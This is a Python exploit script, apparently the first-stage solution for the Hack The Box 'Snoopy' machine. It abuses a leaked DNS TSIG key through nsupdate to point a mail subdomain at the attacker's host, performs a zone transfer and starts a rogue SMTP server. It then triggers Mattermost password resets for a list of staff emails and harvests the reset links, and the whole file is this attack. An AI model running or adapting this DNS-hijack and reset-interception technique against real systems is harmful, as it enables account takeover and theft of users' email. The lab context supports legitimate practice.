Snoopy HTB - First Stage

extract_reset_password_links.py

#!/usr/bin/env python3
import requests
import os
import subprocess
import asyncio
import threading
import netifaces
import smtpd
import asyncore

def get_default_ip():
    intefaces = netifaces.interfaces()
    try:
        if 'tun0' in intefaces:
            return netifaces.ifaddresses('tun0')[2][0]['addr']
        elif 'eth0' in intefaces:
            return netifaces.ifaddresses('eth0')[2][0]['addr']
        else:
            return "127.0.0.1"
    except:
        return "127.0.0.1"

attacker_ip = get_default_ip()
victim_domain = "snoopy.htb"

leaked_emails = """admin@local.htb
cbrown@snoopy.htb
cschultz@snoopy.htb
hangel@snoopy.htb
lpelt@snoopy.htb
pjean@snoopy.htb
sbrown@snoopy.htb
vgray@snoopy.htb""".splitlines()

password_reset_endpoint = "http://mm.snoopy.htb/api/v4/users/password/reset/send"

smtpd_run = True

reset_links = []

class SMTPServer(smtpd.SMTPServer):
    def __init__(*args, **kwargs):
        smtpd.SMTPServer.__init__(*args, **kwargs)

    def process_message(*args, **kwargs):
        to = args[3][0]
        msg = args[4].split(b'Reset Password ( ')[-1].split(b' )')[0].replace(b'=\n', b'').decode().replace('token=3D', 'token=')
        reset_links.append((to,msg)) 
        print("Received reset password of ", to, '\n')

class ServerThread(threading.Thread):
    def __init__(self, ip, port):
        threading.Thread.__init__(self)
        self.server = SMTPServer((attacker_ip, port), None)

    def run(self):
        asyncore.loop()

    def stop(self):
        self.server.close()
        self.join()

def send_password_reset(email):
    print("Sending reset password to ", email)
    r = requests.post(password_reset_endpoint, json={"email": email})

def register_subdomain(subdomain):
    try:
        cmd = f'''echo "server {victim_domain} 53
        update add {subdomain}.{victim_domain} 86400 a {attacker_ip}
        send" | nsupdate -v -y "hmac-sha256:rndc-key:BEqUtce80uhu3TOEGJJaMlSx9WT2pkdeCtzBeDykQQA="'''
        os.system(cmd)

        ret = subprocess.check_output([f'dig axfr {victim_domain} @{victim_domain}'], shell=True).decode()
        for line in ret.splitlines():
            if f'{subdomain}.{victim_domain}' in line and line.split('\t')[-1] == attacker_ip:
                print(f"Successully create {subdomain}.{victim_domain} on {attacker_ip}")
                return 1
    except:
        pass

    print(f"Failed to create {subdomain}.{victim_domain} on {attacker_ip}")
    return 0

def main():
    exit() if not register_subdomain("mail") else None

    smtpd_server = ServerThread(attacker_ip, 25)
    smtpd_server.start()

    for email in leaked_emails:
        send_password_reset(email)

    smtpd_server.stop()

    print("\nHere are the leaked reset password links.")
    for link in reset_links:
        print(f"Email: {link[0]} , Link: {link[1]}")

if __name__ == '__main__':
    main()